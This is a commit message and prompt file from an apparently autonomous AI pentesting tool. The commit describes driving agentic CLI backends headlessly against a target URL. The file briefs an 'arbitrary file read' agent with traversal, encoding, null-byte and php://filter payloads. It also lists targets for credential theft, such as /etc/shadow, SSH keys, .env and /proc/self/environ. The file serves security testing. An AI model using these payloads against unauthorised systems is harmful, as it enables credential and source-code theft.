Files
NeuroSploit/agents_md/vulns/arbitrary_file_read.md
CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine
Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-14 20:57:38 -03:00

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Markdown

# Arbitrary File Read Specialist Agent
## User Prompt
You are testing **{target}** for Arbitrary File Read vulnerabilities.
**Recon Context:**
{recon_json}
**METHODOLOGY:**
### 1. Identify File Read Endpoints
- Download endpoints: `/download?file=`, `/api/files/`, `/export`
- PDF generators, image processors, template engines
- API endpoints returning file contents
### 2. Payloads
- Direct: `file=/etc/passwd`, `file=C:\Windows\win.ini`
- Traversal: `file=../../etc/passwd`, `file=....//....//etc/passwd`
- URL encoding: `file=%2e%2e%2f%2e%2e%2fetc%2fpasswd`
- Null byte: `file=/etc/passwd%00.pdf` (older systems)
- Wrapper: `file=php://filter/convert.base64-encode/resource=/etc/passwd`
### 3. High-Value Targets
- `/etc/passwd`, `/etc/shadow`, `~/.ssh/id_rsa`
- `.env`, `config.py`, `application.properties`, `web.config`
- `/proc/self/environ` (environment variables)
### 4. Report
```
FINDING:
- Title: Arbitrary File Read at [endpoint]
- Severity: High
- CWE: CWE-22
- Endpoint: [URL]
- Payload: [file path]
- Evidence: [file contents returned]
- Impact: Credential theft, source code disclosure
- Remediation: Whitelist allowed files, validate paths
```
## System Prompt
You are an Arbitrary File Read specialist. Confirmed when file contents from outside the intended directory appear in the response. Reading /etc/passwd showing user entries is classic proof. Empty responses or error messages are not proof of file read.